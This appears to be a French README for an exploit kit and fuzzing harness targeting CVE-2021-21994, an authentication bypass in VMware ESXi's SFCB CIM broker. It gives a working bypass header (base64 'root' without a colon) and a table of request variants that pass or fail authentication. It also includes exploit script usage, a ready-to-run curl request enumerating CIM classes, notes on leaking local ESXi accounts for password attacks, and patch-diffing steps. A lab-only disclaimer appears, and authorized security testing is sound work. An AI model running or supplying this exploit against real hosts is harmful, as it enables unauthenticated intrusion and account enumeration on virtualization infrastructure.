
Valide et exploite le contournement d'authentification SFCB de VMware ESXi (CVE-2021-21994) via un harnais de sondage/fuzzing, permettant l'énumération CIM-XML non authentifiée.
| Champ | Valeur |
|---|
| Type | CWE-287 Authentification incorrecte (contournement d'authentification) |
| Composant | SFCB (Small Footprint CIM Broker) dans VMware ESXi |
| Vecteur d'attaque | Réseau, TCP 5989 (CIM-XML sur HTTPS), « requête spécialement conçue » |
| Affecté | ESXi 6.5 / 6.7 / 7.0 avant VMSA-2021-0014 (juillet 2021) |
| Correctif | Builds de correctifs VMSA-2021-0014 |
| PoC public | Aucun. VMware n'a jamais divulgué la forme de la requête |
Références : NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
Comme aucun PoC n'existe, ce kit est un harnais à découvrir soi-même : sfcb_probe.py
valide un oracle (check) puis envoie un dictionnaire ciblé de mutations à
/cimom (fuzz) et signale tout 200-avec-corps-CIM obtenu sans
identifiants valides.
À utiliser uniquement contre votre propre VM de laboratoire ou des cibles explicitement incluses dans le périmètre d'une mission autorisée.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
Le contournement a été trouvé. Cause racine : sfcbd échoue en mode ouvert
lorsque le jeton d'authentification Basic ne se décode pas en une paire
utilisateur:mot de passe contenant un :.
En-tête PoC minimal (base64 de root, sans deux-points) :
Authorization: Basic cm9vdA==
Matrice de preuves de l'exécution du fuzz :
| Forme de la requête | Statut | Signification |
|---|---|---|
aucun en-tête / user:pass b64 valide / : / root: | 401 | présence de deux-points → l'authentification s'exécute → rejetée |
b64("root") (sans deux-points) | 200 + corps CIM | pas de deux-points → authentification ignorée |
b64("\0:\0") (chaîne C vide) | 200 | identique : pas de deux-points |
base64 invalide (espace / BOM / préfixe Basic) | 200 | échec du décodage → authentification ignorée |
Basic\tTOKEN (séparateur tabulation) | 401 | le découpage sur tout WSP est analysé correctement → l'authentification s'exécute |
Basic␣␣TOKEN (double espace) | 200 | découpage sur un seul espace → le jeton commence par un espace → le décodage échoue |
Une réponse 200 transporte une enveloppe CIM-XML traitée à l'intérieur du
CIMOM (par ex. ERROR CODE="5" Class not found), prouvant que la couche
d'authentification HTTP a été franchie — la même requête sans l'en-tête
malformé renvoie 401.
Utilisation de l'exploit :
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
Commande curl sur une ligne pour les captures d'écran du rapport :
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
Impact : accès en lecture non authentifié au courtier CIM :
VMware_Identity divulguent tous les comptes locaux ESXi (observé sur le lab 6.5 : root, dcui, vpxuser — hôte géré par vCenter — plus des utilisateurs personnalisés), permettant des attaques ciblées par mot de passe.VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) déclarent des méthodes de profil DMTF (AssignRoles, AssignAccess, ...) mais n'exposent aucune instance — les méthodes sont uniquement dans le schéma. La création/modification de comptes via CIM n'est pas possible avec cette CVE ; le plafond de l'impact est la divulgation d'informations non authentifiée.Verdicts :
BYPASS-STRONG — HTTP 200 + corps CIM-XML sans identifiants valides → vous avez trouvé le contournement ; la requête enregistrée est votre primitive d'exploitation.bypass-weak(200-no-cim-body) — 200 mais sans corps CIM ; inspectez le dump.blocked / info(400) — rejetée. Remarque : une 400 signifie généralement que la requête a échoué avant que l'authentification ne soit évaluée — c'est intéressant, mais ce n'est pas un contournement.Remarque sur les corps CIM faits main : selon DSP0200, EnumerateInstanceNames exige l'IPARAMVALUE ClassName. Un corps sans celui-ci peut être rejeté pour des raisons sans rapport avec l'authentification et empoisonner l'oracle — le harnais envoie toujours le corps conforme à la spécification.
Le fuzzer couvre les formes classiques de confusion du parseur d'authentification HTTP. Si aucune ne fonctionne, la voie restante (et définitive) est le diffing binaire :
esx-base pour une build vulnérable (par ex. classe 6.5.0 GA) et une build 6.5/6.7/7.0 corrigée VMSA-2021-0014 depuis l'index de dépôt public de VMware :
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar → payload vib → cpio), faites le diff des binaires sfcbd* avec Ghidra + BinDiff.sfcb sur SourceForge) est une référence structurelle utile pour le chemin de code HTTP+auth, même si le fork d'ESXi est modifié.